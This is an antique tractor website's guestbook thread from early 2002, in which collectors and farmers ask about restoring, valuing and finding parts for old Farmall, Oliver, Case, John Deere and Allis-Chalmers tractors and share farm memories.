C.L. Bowman,jr wrote on Thursday, March 14, 2002 (PST):I have a 550 Oliver listed above in the comments. An engine rebuilder has told me that he recommends rebuilding the entire engine. New oil pump, and cam shaft plus the usual pistons rods and bearings etc. A complete rebuild. It will cost $1500.00 to do the complete rebuild with all new parts. This means I would have to sell the tractor for $2900.00 to break even. Could someone tell me if I could get this for this tractor since the rest of the tractor is in excellent condition? Thank's for your comments.
Milton Lee Walling wrote on Thursday, March 14, 2002 (PST):I have a one owner, 1941 utu, grew up on it. It was my favorite tractor for drilling wheat. It has a wide front end on LP.
Albert wrote on Wednesday, March 13, 2002 (PST):i have a 51 SC Case, and when i bought it, it had duals on it. the inside rims were dished in and the out side set is dished out. Is this correct, or did somebody screw with the tractor. The tractor came out of wisconsin if that makes any difference.
Gene Spinler wrote on Wednesday, March 13, 2002 (PST):The firt tractor I drove was a '47 "Z". My dad repainted it and it looked really sharp. Wish I cod find a good pic.
Ken Barrie wrote on Wednesday, March 13, 2002 (PST):I have driven the 720, 70,A,B. I owned a JD 70 diesel at one time. Spent many hours listening to that putt-putt. they all were good pulling tractors for there size. I believe that if they were made new today they would sell like hotcackes. I'm looking for a 720 diesel electric start in good running order-wide front;(Michigan)
Nunn wrote on Monday, March 11, 2002 (PST):I have a 1952 Super A Farmall. The tractor is in fair shape, it needs new tires, a paint job, etc. I also have a 1954 or 1955 super a Farmall. This tractor also needs to be restored. I need sugestions on what these tractors is worth, in good, and in fair condition.
ron schropp wrote on Monday, March 11, 2002 (PST):I just bought a 8N tractor. 1947 serial # 104397. Came with front end loader. Its got a 3 speed transmision with a Sherman StepUp transmision. What I was wondering was, how many were made, also, are these the original parts... There are 8N markings in the casting of rear end and bell housing. I'm also looking for an adaptation kit(V8), provided by Funk Aircraft Company.
HUYNH VIETPHUONG wrote on Monday, March 11, 2002 (PST):Dear allis_chalmers I am a teacher who is college of teachnology at Can Tho university in Viet Nam.I am teaching subject which is tractor and automobile. Today i send this email,i want to understand about company's history and tractor's history in the world.I also want to understand a lot of information to teach the students in Viet Nam.If i recieve this information from your company,I will be happy. thank you very much.
HUYNH VIETPHUONG wrote on Monday, March 11, 2002 (PST):Dear allis_chalmers I am a teacher who is college of teachnology at Can Tho university in Viet Nam.I am teaching subject which is tractor and automobile. Today i send this email,i want to understand about company's history and tractor's history in the world.I also want to understand a lot of information to teach the students in Viet Nam.If i recieve this information from your company,I will be happy. thank you very much.
Jeremey wrote on Sunday, March 10, 2002 (PST):I bought a 39 f20 with a electric start and was wondering where the battery would be located? There is no battery box on the tractor. The tractor also has a belly pump and lights. Kind of a rare f20. If anyone has a idea let me know.
C.L. Bowman, jr wrote on Sunday, March 10, 2002 (PST):I have an Oliver 550 which is about a 1962 model. It has a four cylinder gas engine. This tractor looks almost as good as the picture. Excellent condition as appearance goes. Almost new tires. I bought this tractor about 3 months ago and the governor went bad. I replaced it but it cause the carbuerator to flood and filled my oil with gasoline. As a result I think I spun a rod bearing. It started making a lound noise so I have not used it. Everything worked. Has a stong 3 point lift. Good pto. I hate to sell this one but I needed a tractor bad, so I had to buy another one. This would make some one a great tractor if the engine bearing problem was fixed. I will sell for $1200.00 as is obo. Again this tractor looks Great!!!!!
morris wrote on Saturday, March 09, 2002 (PST):does anyone have suggestions about when I can put an ad. I have a 1947 Farmall Cub tractor and implements for sale?? Thanks
Darrel Kleinjan wrote on Saturday, March 09, 2002 (PST):I have a 1929 Rock Island Model F. I am looking for rear steel wheels. Please contact with any leads. Thanks!
David wrote on Saturday, March 09, 2002 (PST): I have located a 44 MH with a Diesel moter that was running but is not running now. The owner of the tractor thinks it is the injecter pump. I would like some input from anyone on rebuilding or working on the injector pump. I would be greatful for any info like available parts or can i even get parts to fix the pump. I have Know more info on the tractor than that to offer other than the fact that the owner said it did not have a 3pt on the tractor. Thanks for your time. David of Walnut Grove Mo.
Eldon Wright LeRoy, Ks wrote on Saturday, March 09, 2002 (PST):I had a SC Case about 25 years ago the same one I racked hay with when I was 6 I would like to find one to restore for my Grandkids to drive thay make a good kid tractor would like to find one in the mid west thanks Eldon
Craig DOELFEL wrote on Saturday, March 09, 2002 (PST):Hello everyone . I just purchased a Oliver Cletrac HG and need some help on getting information for it . If any one can help me I would appreciate it.
Merv Williams wrote on Saturday, March 09, 2002 (PST):Ihave maney memories driving ford majors.Starting as achild of 5 years steering one while Father threw wads of hay of the trailer by moonlight to my earley working career plouging with a 3 furrow Ransoms plough cultivation work the list is long . Does any body remember the MillMaster fore end loader the Bougton whinch arrrrr memories '
Phil Hamblett wrote on Saturday, March 09, 2002 (PST):I just inherited a Farmall 140 that was garaged fo r a number of years....has 5 foot belly mower...battery is 12 volt (Tom W.)check alternator, then battery cables, they can short out or rust through. Great tractor to own!
Paul Arthur wrote on Saturday, March 09, 2002 (PST):Re; Gord, New guages are available at around $135.00 from W.H. Lien,Inc N 8974 Pole Grove Road Hixton,Wisconsin 54635 OR Telephone 715-963-4211.They also have Tachometers.
Paul Arthur wrote on Saturday, March 09, 2002 (PST):Re; Chris. Decals are available for you Oliver 770 Tractor for $15.00 at Maple-Hunter Decals P.O. Box 805 Ripley Indiana 47871 Phone number 765-932-2027 or 812-394-9759
Jim Dawson wrote on Saturday, March 09, 2002 (PST):I own a 1949 Case Di. Ipull it in antique tractor pulls. THis tractor has unbelible power I wouldn't pull anything else mbut a case. I also own a 1952 Do.
John Heise wrote on Friday, March 08, 2002 (PST):I'm currently restoring my dad's Fordson Major diesel that he bought new. He can't remember the year of the tractor for sure so I would appreciate some help identifying the year and the model for sure. The original paint is still on the tractor blue body and definitely orange wheels. It has a three point hitch and draw bar. It also has headlights mounted to the radiator cowling and also has fender mounted work lights. He ordered the tractor with the smaller diameter rear wheels (30") to lower the center of gravity at the time of purchase. All parts are original and is in running order. I need to replace the seals between the transmission and the differiential. The engine cylinder sleeve o-rings need to be replaced to bring it back to perfect running order. I'm having trouble finding parts since it seems that all dealers have thrown away their parts books and went strickly to computer parts programs which don't seem to include the Major diesel. Any help would be greatly appreciated. Thanks, John
Mike Marshall wrote on Friday, March 08, 2002 (PST):Beautiful tractor
jerry darrah wrote on Thursday, March 07, 2002 (PST):yesterday i bought my first 8n tractor it is a 1947 serial # 283 it came with front loader bucket/forks and a box blade i am trying to find info on front loader can anyone help ?
JEFF HELMUTH wrote on Thursday, March 07, 2002 (PST):my grandpa has a 1958 d-17 diesal allis chalmers and i am wondering if the tractor is a rare tractor, because i cant seem to to find any info on this modle year of ac eamail me jeffhelmuth at hotmail.com
PHILIP KRUSE wrote on Wednesday, March 06, 2002 (PST):I'am a tractor collector send me an email if yoiu are serious about a sale always on the lookout
Mark Kretzschmer wrote on Wednesday, March 06, 2002 (PST):We have a Wallis 12-20 tractor. The serial # is gone and we need a "Key for valve spring", part number 11591A, according to the manual. If anyone can help, please reply. My Grandfather bought it in approximently 1928 and we are trying to enter it in our town's centenial celabration. Thanks, Mark
Don from Park Ridge wrote on Wednesday, March 06, 2002 (PST):I own a 300 utility tractor and was wondering if anyone knows about the adding of a P T O-----at present there is a plate on the back of the rear housing. Also was this an option on these tractors, or did someone possibly take it off because of problems ? Thanks in advance for any information pertaining to these questions.
C.D.Klassen wrote on Wednesday, March 06, 2002 (PST):Whatis it? I bought a Massey-Harris tractor, on the serial plate it reads 102 SS, serial # 360369. The operators manual is for a 102 G. The decals on the hood read 102 G, twin power. The engine has a plate from Continental stating 226G. My serial number book lists #360369 as a101 SR standard. Is my tractor a 101 or a 102 ? what is the differance between a junior and a senior? C.D.K.
Don wrote on Tuesday, March 05, 2002 (PST):Looking for a Oil pressure gauge for a model L tractor. It is part # AL2811T
Jack &Jack wrote on Tuesday, March 05, 2002 (PST):My boy Jack and I just bought a 48 VAI with a LULL loader ,we have no hydralic cylinders for the loader,the hoses were removed and capped the guy we got it from didn't need it,but all the mount is on the tractor,the bucket and arms are off,we'd love to find cylinders or info on the hydralics,I've fixed a few old tractors I think this is one of the neatest,not to big and heavy,it seems wide and stable,our starter is worn out,anyone have a deal on a used one ? from Port Colborne South Ontario might sell it cedarbay at vaxxine.com
Terry Hopper wrote on Monday, March 04, 2002 (PST):We just purchased a JD2010 Gas tractor.Our first experience. We have begin our restoration of the engine. Seems we are in for a big project. We purchased our tractor for 1700.00 from a guy who sells them for profit. We knew we had a project ahead but was willing to tackle it. We have torn the engine down and have ordered the rebuild kit. Just need more time to begin our project.
William Corpus wrote on Sunday, March 03, 2002 (PST):I have an early model D21 3-point hitch and turbo has new style head rear end all new bearrings and axles motor has been rebuilt Brand new rebuilt fuel pump (lot of $$ into it) thinking about selling or trading for 220 in same shape runs like a champ starts good and lots of brute power has weights in front and wheel weights in the back.
Brian Waselus wrote on Saturday, March 02, 2002 (PST):I have 2 T-20's one dismantled with alot of the parts sand blasted and primered the other one is only good for parts it also includes a heavy duty blade hydrolic pump and cylinders. Both sets of track are in great shape. The radiator gas tank and hood is all it pretty good shape as well. I am interested in selling them.
Rick wrote on Saturday, March 02, 2002 (PST):We have a Allis-Chalmers 160 for sale. New rear tires with fluid,500 hours on a new engine,new clutch ,wide front,3pt,tire chains,good paint and straight tin. Gramdpa bought new in 1974. Price 3850.00
Bernie Molleur wrote on Saturday, March 02, 2002 (PST):I have a 1948 G that I restored and did the motor over..... 0.90 over, aluminum pistons and rings, new insert rod bearings, replaced original intake with a cold, gas intake manifold, cut head. It seems to run great and can't wait to try it at a pull. I also love the sound of a "G"!
Wesley G. Wilson wrote on Saturday, March 02, 2002 (PST):I live in jacksonville, florida ans I own a Fordson Dexta tractor S#957E-37306 the tractor runs good, but the lift does not work, and I can't keep the battery charged. Any suggestions.
David Gray wrote on Saturday, March 02, 2002 (PST):I'm trying to obtain information about a Model A farmall tractor serail number F.A.A. 333286. It also has an operating bush hog. The model is a servis? I think it's a 64" cut. I would appreciate any and all information regarding this tractor.
Bill Osborne wrote on Friday, March 01, 2002 (PST):In looking over the comments, I noticed several who have problems with getting the plow to go in the ground, stay in the ground, or go deep enough. I have a '49 Cub w/1 bottom plow. Here's what you do; 1st=Turn the draw bar completely around. This puts the drawbar bolt holes ahead of the axle. Then attach plow by putting the plow hookup under the drawbar and inserting the bolts from the bottom side up. I also put an overside nut between plow and drawbar on both bolts which gives the plow more forward tilt. My plow works beautifully and plows 6-8" deep depending upon soil. Let me know if this works for you. I'll be checking the comment section.
Kirk Landgren wrote on Friday, March 01, 2002 (PST):I have a 550 with ser.#146814-519.Would like help on value .Tractor is in good condition.Thanks for help.
Jenny Mixon wrote on Thursday, February 28, 2002 (PST):I'm young, but I have an "liking" for the "old tractors." I want to buy an 830 and restore it. Maybe one day.
Don wrote on Thursday, February 28, 2002 (PST):looking for a "Lift Assembly" for a Ford 8N tractor, Dearborn part # 192088. Any help I could get would be greatly appreciated. Thanks
Pat wrote on Thursday, February 28, 2002 (PST):We don't have a 720 but we do own a 520 and my Dad and I just finished restoring a 730 and it is in really good shape, this has been my favorite tractor and I can't wait to rake hay this summer w/it.
jason schott wrote on Wednesday, February 27, 2002 (PST):The 560 was a good tractor in its day and always will be just hitch it up to whatever you need to pull and it will pull it with plenty of power. Leting the clutch out you can just feel the power behind the diesel engine. My grandpa uses our 560D to water a 14 acre corn field next to the Platte river and I don't think anything will pump water with less efficency never burns a drop of oil and its never been touched besides a new tach.
Jeff Bradford wrote on Wednesday, February 27, 2002 (PST):I would like to know what a 1938 ac-B is worth and would like to sell it. runs exelent and is in good shape. I am the second owner. thanks!
Steve in Georgia wrote on Tuesday, February 26, 2002 (PST):I have a I-240 Utility. I really want to find a service manual and a good place to find parts if thats possible. I am putting a water pump on it . I did find one at NAPA but it was a spicial order. I need some seals for the rear diff and a front main seal and oil pan gasket.(so far) The old tractor runs like a champ though. Contact me for any info you might have. Thanks.
Warren Walton wrote on Tuesday, February 26, 2002 (PST):Chuck the e-mail address is right. If you can't get it ,contact me in 4-5 weeks. My Dad will be back from vacation by then.
Ed Gilliland wrote on Tuesday, February 26, 2002 (PST):What is the correct size rear tire for a Farmall H? This tractor will be a show tractor. Also, is there a tread style that is preferred? Enjoy your web page, and learn a lot from all the questions and comments. Thanks.
Robert Cecil Hardwick wrote on Tuesday, February 26, 2002 (PST):Wonderful piece of junk that International up thee in the pic! We started with a Fordson, went to a McCormick-Deering 15-30, then a GP John Deere, followed my a MM and a Case; one JD before goint to XT-190's for several years before going back to CASE/IH; too much green in the country!
Peter Queen wrote on Monday, February 25, 2002 (PST):Sorry I don't have permanent email just now. I'm about to start restoring an HG42 in the UK. They are rare over here so finding/making all the spare parts is going to be difficult. It needs just about every thing above the level of the tracks. So if any of you folk are coming over to Scotland bring spare engines, radiators, tin ware, electrics in your case!
Peter Queen wrote on Monday, February 25, 2002 (PST):Sorry I dpn't have permanent email. I'm aboutto start restoring an HG42 in the UK. They are rare over here so finding all the spare parts is going to be difficult. It needs just about every thing above the level of the tracks. So if any of you
Ben Winegard wrote on Sunday, February 24, 2002 (PST):Looking to buy a case 500 or a 56-57 case 600 please contact me if you have any information. thanks
kevin wrote on Sunday, February 24, 2002 (PST):I'm acquiring an M that has been under cover for years. Does someone specialize in parts for these tractors? Any value to one that isn't stuck and appears real straight? We haven't tried starting it yet.
Jim Reid, wrote on Sunday, February 24, 2002 (PST):I have a Wallis tractor I beleive to be 1915, but it has rubber tires, I would be interested in selling or trading for small crawler-dozer,also more info about wallas
geoff gauger wrote on Sunday, February 24, 2002 (PST):Is the GP tractor in demand by collectors? I have the opportunity to buy one, restored.
jerry wrote on Sunday, February 24, 2002 (PST):How do I go about ordering this Kings book.On the Leader Tractor. I trated for one as I had spoken above on and I don't have any Info.
C. Deahl wrote on Saturday, February 23, 2002 (PST):I'm currently looking for a farmall av to restore. If you live in the IN,IL,KY,TN area and have any info on were I may purchase one please tell me. Preferably running and the engine block in good condition(no cracks). Thanks
Rick Jackson wrote on Saturday, February 23, 2002 (PST):I've got a 560 deisel and someday I would like to restore it. But for now I just use it to plow my garden. The problem is when I start I have to use starting fluid everytime. Does anybody know why? HELP.
Norman wrote on Saturday, February 23, 2002 (PST):I am restoring an orgional white demo cub built in 1950. Can anyone can help me with the correct paint code. I have been told that IH used 1950 International Truck Paint, Polar white. All the paint suppliers that I have contacted only go back to 1957. The current IH white has too much of a cream color. This needs to be a bright white. You can email be direct at nzepp at aol.com. Thanks Norman
Elden Johnson wrote on Thursday, February 21, 2002 (PST):Where can I find the horsepower rating for a AC Model B, SN 93075? Did earlier tractors of the same model have a lesser HP rating than later ones? Thanks.
bobby twyman wrote on Thursday, February 21, 2002 (PST):my family was the local case dealer before i was born(1961) at one time i didnt know the was other makes.we still have a couple sc,a dc,a 730 and another one i forget the model, that the sheet metal was all missing,later i found out that my father had flipped it in some cultivation demostation. i dont think that any of ones that we have are running.they have been replaced by several ford 5000s
Henry wrote on Thursday, February 21, 2002 (PST):King books has a reprint of the Leader tractor owners manual
Courtney wrote on Thursday, February 21, 2002 (PST):My papa has a John Deere, and My twin sister and I love to feed the cows, because we get to drive the tractor.
Courtney wrote on Thursday, February 21, 2002 (PST):My papa has a Farmall and a John Deere. My twin sister and I love to drive the tractors in the pastures. I like Farmall's but John Deeres are the best!!!
Robert Bacon wrote on Wednesday, February 20, 2002 (PST):I AM IN DERBYSHIRE ENGLAND.JUST PURCHASED 1923 WATERLOO BOY MODEL N.I NEED PARTS BOOK AND MANUAL.ALSO ITS MISSING STARTING HANDLE.WHATS THE TRACTORS VALUE?CAN ANYBODY HELP?
JOHN KARNS wrote on Wednesday, February 20, 2002 (PST):I just purchased a D17 6 months ago. It is myfirst tractor ever.I fell in love with it the the first time I drove it. I mow about 25 acres with it. After 3-4 months it started loosing power and running ruff. I changed plugs,wires,rotor & cap.It ran great for a short period of time, then started loosing power and missing bad. I have no idea what year it is.If someone could help me out ,telling me where the serial # is located,so I know what year it was made.And if anyone has any advice for me. Thanks for anyones input!
Henri Loiselle wrote on Wednesday, February 20, 2002 (PST):I have an T9 international (which is the same as a TD9 except that this is a gas tractor.I used ist until a couple of years ago. A bearing went on one side of the drives and I haventhad time to fix that, and now some kids took the can off the exhaust and now I'm doing the diesel in the spark plug thing. I hav a blade for it and wee as a fork that I bolt on the dozer (it works really well for getting out roots) I also have a great diesel pump test bench that my dad use to use for WD9s and farmals. it will test up to 6 cylinders. I would'nt mind selling both as I don't have the time to fix or use these any more.
dave wrote on Wednesday, February 20, 2002 (PST):hello I bought what i was told was a 1941 2n ? Was the 2n made in 1941 or is it a 9n what is the easy way to find out what it is that i own? I have had very good luck finding parts for what it is that i do own through valu-bilt tractor parts they will send you a free catalog 1-888-828-3276 thank goodness the 9n and the 2n share all the same parts i have had to order so far! thanks look foward to hearing from someone soon i hope dave
Daniel R. Leighow wrote on Wednesday, February 20, 2002 (PST):I'm interested in buying some Massey Harris tractors. Right now I would like to find A 555 D. I use to drive a 333 when I was a Teenager in the sixties. I would like to use it to farm with, and buy others to restore them. I'm looking for 22,33,44, 55, 55 LP Western Special, 333, 444, & the 555. If any one knows where I can find some of these tractors Please let me know. Daniel Leighow.
Debbie Barker wrote on Wednesday, February 20, 2002 (PST):Were these tractors used both in the U.S.A. and Canada?
VICTOR DELGADO wrote on Wednesday, February 20, 2002 (PST):My Grandfather was an Allis Chalmers man and had owned several before he bought this D15 series II in 1971. Approx 1 yr later he had a stroke and was unable to use it anymore.. It sat in the barn for 15 yrs never being moved. I bought it from him along with quite a few implements to go with it for a very small price. I "unstuck" the motor and did some minor repairs to get it in great running condition within a couple of weeks of purchasing it.. I still use it to this day about 7 yrs after buying it.. What a great tractor to own.. and the look on my grandfathers face the first time he heard it crank up after 15+ years is priceless!
R.Lipps wrote on Tuesday, February 19, 2002 (PST):I just bought a vac-14 , power lift bleeds off how I fix this problem
Ray wrote on Tuesday, February 19, 2002 (PST):I am trying to locate a 12 volt conversion kit fo a Farmall BN Please contact me at RTDARLING at AOL.COM OR 315-625 7725
Dave Taylor wrote on Tuesday, February 19, 2002 (PST):I just bought what I "think" is a B. I was born on a farm and will retire to one in about a year. City boy in between. Anyway, I would like to obtain a manual for this tractor. One immediate question is what kind of fluid goes into the PTO differential? It came with a "homebuilt" three-point hitch setup.
Jim Wallis wrote on Monday, February 18, 2002 (PST):I am looking for a Wallis tractor if anyone can direct me to a seller, I certainly would appreicate it. Thanks, Jim Wallis
Jerrry Strain wrote on Monday, February 18, 2002 (PST):I had traded for a Leader and like to get a book on it or some feed back on a few things.
Pat Redington wrote on Monday, February 18, 2002 (PST):I have an oliver Super 55 gas. s/n 6475. Runs good and is complete. Needs paint. I have a lot of spare Super 55 and 550 parts to go with it. I put a loader on it which makes it hard to steer because the tractor was built prior to Oliver offering power steering for it. I would like to trade it for an Oliver or Farmall with power steering, 3 pt and wide front. I'm located in near Wichita, KS.
Mark wrote on Monday, February 18, 2002 (PST):I have a Super 55 gas. It has a front end loader and back hoe. It shure does smoke a lot but still runs! Small black coal like pieces seem to come out of the exaust pipe and fly into my face. I have a lot of fun with it. This tractor seems to be industructible. What should I do to get rid of the smoke?
Brian Wright bothwell ontario canada b rian wrote on Monday, February 18, 2002 (PST): I own a 1967 series 4 it is in mint shape
Ken Mack wrote on Sunday, February 17, 2002 (PST): Toni your transmission is stuck in two gears.What i have done in the past is drive out the pin that holds the shifter in place then pull out the shifter and line up the gear columns.You need a light and only cansee with one eye.
D Anderson wrote on Sunday, February 17, 2002 (PST):I just bought an older Case tractor that looks somthing like the one in the picture, mine only has one front tire. Could someone help me find out what year and model it is. Thanks
anders white wrote on Sunday, February 17, 2002 (PST):recently i was watching a very fasinating tv station RFDTV on statelite dish they had a show one of many on antique tractors and there were 2 of those old wheel horses in action one with the orignal cart. i belive that the tractor show was from the uppermid west area . keep up the great work .Anders White age63
Ray Stinchcomb wrote on Saturday, February 16, 2002 (PST):My father owned a Wallis Tractor (about a 1920 model). He purchased it in 1943 and used it to power a hammer mill. He lived in Northeastern Oklahoma (Delaware County). I would like to buy another one if you know of one for sale.
Morris Shepherd wrote on Saturday, February 16, 2002 (PST):My mother-in-law just died in Columbia, KY. There is a 1957 Farmall Cub in her estate. It has a cultivator, plow, grader blade and sickle mower. The estate is asking $3,000 OBO. please contact me asap.
rose wrote on Friday, February 15, 2002 (PST):I Have a international harvester 350 farmall, that looks like an H model not sure. Gasoline engine but need to find a replacement intake, need parts to fix or needs a new home. would like to fix if possible. however will trade for smaller tractor.
Lynn West wrote on Friday, February 15, 2002 (PST):My husband grew up on a farm in Northeast Ohio. His father owned a Minneapolis Moline G1000 Vista, and my husband just loved this tractor. He always wanted a "toy" MM for his own but his father said they could not afford one. He (my husband ) will be "50" in March, and I would love to find a toy version for him. Can anyone help me?
Kirk Affeldt wrote on Wednesday, February 13, 2002 (PST):My dad and I bought a 140 with a 1pt fast hitch. We have purchased a 5' rotary mower, blade, carry-all carrier, and a disk. The tractor and implements are VERY handy! We are looking for 5' sickle mower to add to the 1 pt fast hitch collection. I recently replaced the brakes and I can tell you it is quite a job, not impossible!
Jack Jenkins wrote on Tuesday, February 12, 2002 (PST):Have owned 2 Model B John Deeres.One in 1953, and one in 1975. Both were 1941 models.I have to say they were dependable,cheap to operate,never failed to start tractors.Ive plowed many hours with 2-14 bottom plows and even tho my back would kill me it was always a pleasure to listen to that old faithfull 2 banger.
Alan Schurman wrote on Tuesday, February 12, 2002 (PST):I have a samson tractor that needs a four cylinder engine.If anyone knows of one please contact me at IronRanch at aol.com
Dennis Krause wrote on Tuesday, February 12, 2002 (PST):I recently bought a 9N Ford tractor. Now I am hunting for a front end loader to fit on it. Are there new ones that fit or have to find an old one? Appreciate any help. I live in Montana so closer the better.
Jerry Hall wrote on Tuesday, February 12, 2002 (PST):I have a 1956 all green 420 john deere for sale tractor is in good condition. $2800.00 firm. 580 889-6498 Atoka Okla.
Francis Kozlovsky wrote on Tuesday, February 12, 2002 (PST):My grandfather bought one in the mid 50's. The R was a very good tractor. We could out pull anything in it's weight class. Yes I did a lot of field work with it. Approx. weigth with out fluid or wheel weights is as I recall 3.5 tons.
Bill Blomquist wrote on Tuesday, February 12, 2002 (PST):I need a CASE DI engine for a customers tractor.
Brent wrote on Tuesday, February 12, 2002 (PST):I have recently become interested in the CUB and I am looking to buy one in the near future,whether it runs or not.I would much rather restore one that has been forgotten in some old barn somewhere.To hear it roar back to life would make me appreciate it so much more than to buy an already restored one.But,I am interested in any Cub.I live in the Southern Illinois area if anyone has any information.Thanks
Börje Gustavsson Sweden wrote on Monday, February 11, 2002 (PST):Hello I wonder if anybody know how many W-14 that was prouduced and when. Do you have any information about this tractor that you can send on email to me, i don`t have any information at all.
Josh Gibson wrote on Monday, February 11, 2002 (PST):THe tractor looks good. I have a Super H I am getting ready to restore.
Josh Gibson wrote on Monday, February 11, 2002 (PST):The tractor looks good, but I would put a wide front end under the tractor.
gene zeigler wrote on Monday, February 11, 2002 (PST):As a farm boy in the early 50's my father bought our first tractor a F-12/14 on 36'' rubber it ran up hill. the builders plate said F-12 but it had been changed to F-14 head maifold with breather on side pulled 2btm plow .
jon wrote on Sunday, February 10, 2002 (PST):that picture of the 1938 allis chalmers "B" that u have displayed on your website is a nice tractor but to be orignal that tractor needs the right muffler. That particular allic chalmers had a small muffler not even 30 cm high. Just letting you thanks.
Mark Dellicker wrote on Sunday, February 10, 2002 (PST):I have a case LAI tractor my uncle bought new and i am going to restore it. the serial # 5311995 any info I can get on parts or year of tractor would be great
John Cunningham wrote on Sunday, February 10, 2002 (PST):I think these Fergusons were the best tractors every built!My dad farmed 400 acres in 1967 with his TO-30. I own a TO-30 and am restoring a TO 20. I need Mad money for my hit and miss habit so To-20 will be up for sale this spring. Remember to change the oil in the rear end it takes 6 gal 80-90 wt oil. A lot of dirt and water build up here!
JDM Guy wrote on Sunday, February 10, 2002 (PST):I have a L with a Hercules motor in it. Nice little tractor. I'm looking for a hand crank for it.
zeke wrote on Sunday, February 10, 2002 (PST):I'm trying to find a history of "live-pto" in tractors. I"ve seen one Jubilee with it, and read of an 8N with it. Any info of this w/Fords, or Masseys would be appriciated. Thanks, - Zeke
Tom W. wrote on Saturday, February 09, 2002 (PST):I inherited a McCormick Farmall 140 Ser.# 5225J. First What type of battery does this tractor take? I currently have a 12V but it will not hold a charge. Could this be a problem with the altenator? If so where can I get an altenator to replace it. Any other sugesstions? Thanks! Tom /Phila. Area
JOHN wrote on Friday, February 08, 2002 (PST):I have come across a 1950 Case DI,with a Lull loader.It doesn't have a 3 point hitch or PTO/PTO controls. I'd like to find out if and how I can add these, as well as power steering.I'd like to find out how and where i can get parts to fix it up.I've found out I can get plugs,points,carb. rebuild kit,etc. through NAPA.The 1st thing I need to get is a rear rim.One is rusted through and needs to be replaced before I can use it. Any and all help would be appreciated..
Terry Johnson wrote on Friday, February 08, 2002 (PST):My grandfather purchased a 1938 F-12 complete with front rubber tires, rear steel wheels and rear fenders. He used it mainly for cultivating with the two row mounted cultivator, because he also had a 15-30. His oldest son could operate the hand lift, but when he left home my dad couldn't, so they added the hydraulic lift. They also changed the steel wheels to rubber tires then. When my grandfather died in 1951, my father returned from the Air Force to take over the family farming operation. Dad used the F-14 for many years, but slowly became less dependable and was moved further to the back of the machine shed. Our home town centennial was the reason we decided to restore it three years ago. Dad and I took it completely apart. New rings, valve job, new intake manifold, new tires and new paint. Dad has taken it to several tractor shows and has been very pleased to have won some trophies. I want to use the tractor, but Dad wants to keep it clean. So, I just went and bought an F-12 with a two row cultivator. But the F-14 is still priceless to me and Dad. It will be in our family for another generation for sure. Terry Johnson tjpj4th at netins.net
Byron Neiderhiser wrote on Friday, February 08, 2002 (PST):I am looking for a D-17 Deisel Series 4 to buy.My Grandfather bought one new and now my Father has it and i am looking for one now. THANKS FOR ANY LEADS.
Fabian Skretta wrote on Thursday, February 07, 2002 (PST):can someone please tell me spec info on the "66"series of tractors...I would like to know L,W,H and weight...Thank you.
Ralph Barnett wrote on Wednesday, February 06, 2002 (PST):This serial number appears on my 550 Oliver, can anyone tell me the year it was manufactured? Serial # 80176-519. alos, I'm still looking for a seat spring.
Lane Hetherington wrote on Wednesday, February 06, 2002 (PST):My father has a WD-45,"I'am unsure of the year,"it is in great condition except that the ring gear for the PTO is broken. Any help in locating one would be appriciated
Ron M wrote on Wednesday, February 06, 2002 (PST):TO; D. Miller & Ralph Fisher - Are your A tractors still for sale? Please post a note if so.
Ron M wrote on Wednesday, February 06, 2002 (PST):TO; Philip Moore & Mike Shutt - Are you interested in selling your cultivators. I would also be interested in trading a single bottom, single point, quick attach plow for 'A' cultivators. Please post a note if interested.
Ryan wrote on Wednesday, February 06, 2002 (PST):My pop had a john deere model l for as long as i can remember he purchase it for 100$ my pop was a mechanic of a mine he was the head one so he could do any thing with a tractor he made a snow plow of the model l which works good some time be for i was around the engine give out in it and when my pop whant to get the parts to do the engine john deere could not get the parts so he toke the engine out of a allis-chalmers and put in it. and then he put her top back on her but when i was 3 that engine give out so pop and dad put a car engine in it and then put her top back on her pop used her like that untell he died back in 2000 then dad put her up in the woods on pops land. this of couse hurt me to see pops tractor not being used of couse the dad put her up their becuse she her water pump give out and dad being a paramedic he did not know to much about a engine but i did because pop showed me evey thing he know so one day i whent up to that woods and got it going and now we are using it snow cleaing the bond i got with the tractor can not be hurt i love it so much because it was pops and a part of my child hood i can hood on to and i can alos kept my pop with me forever.
Ken J wrote on Wednesday, February 06, 2002 (PST):I have owed a 44 special for about 8 years.I bought it for $400 and drove it home,after cleaning the carburetor.I use it to brush hog and haul wood mostly.Awhile back the voltage regulator went out,so I put on a GM alternator.Now, since having to really tighten the narrow belt,the water pump is leaking.I'd like to find a rebuild kit or seal for the pump if possible.Otherwise I guess I need a new pump.I'd also be interested in a lift,hydraulics,and a blade,and maybe other parts.It's a 4 cyl.gas.Pump # is;1921. Also could use a manual.Thanks for any help. Ken.
Brad Stagg wrote on Wednesday, February 06, 2002 (PST):What is the tractor worth in fair and still running.MMZ It has a Hand clutch.
Bob wrote on Wednesday, February 06, 2002 (PST):My grandfather purchased a brand new D12 serisIII in 1964. I still have it and it runs perfect! It has never been touched mechanically,and has never burned one drop of oil! This is the best tractor I have ever seen.I would strongly recommend it for anybody thinking of buying a 12
Chuck wrote on Tuesday, February 05, 2002 (PST):I Have a 1937 TD-35 that I would like to restore. The head is cracked and so is the crankshaft.
Richard wrote on Tuesday, February 05, 2002 (PST):I currently own a 1951 WD and a 1957 WD-45. The WD is in beautiful condition and the 45 is close to perfect. I let a 1956 WD-45 Diesel get away from me that I wish I had back. I grew up with the WD's. I helped my Father-In-Law farm 450 acres with a WD and a WD-45. Wonderful memories.
Trent Cappon wrote on Tuesday, February 05, 2002 (PST):I have had a orchard 60 sence i was 5 now im 16. I'm missing a fenders i want new ones can anyone help me email me bobber_51 at hotmail.com. My grandpa took them off when he got the tractor cause the were rusted out. I also have a 18horsepower advance rumly steam engine and a 930 case if u have any qestions about tractors email me ill get it or find it.
Ron M wrote on Tuesday, February 05, 2002 (PST):Regarding the fast hitch. I'm familar with the 2 point fast hitch as on a 3 bottom IH Super Chief plow for a 560 I have; but I also have a single point hitch on my farmall 100 consisting of a receiver attached above the drawbar with a spring retainer. The implement has a tapered bar that slides into the receiver and latches when you back up into the implement. You then lift the hitch and off you go. I also have a 40" howard rototiller which is single point quick attach, but you still need to get off to clip on the PTO.
JOE SPEAKMAN wrote on Tuesday, February 05, 2002 (PST):Iam looking for parts for a f-14 tractor please send a e-mail and let me know
John W wrote on Tuesday, February 05, 2002 (PST):My father just purchased a F20--in good shape and it runs well!--but has two questions--1; what year is serial #fa-137,104-ha? {noted on the engine and frame}. 2--where can one order a parts book or manual for this tractor? Thanks
Steve wrote on Tuesday, February 05, 2002 (PST):I am looking for a hydraulic pump to fit the Allis 160.
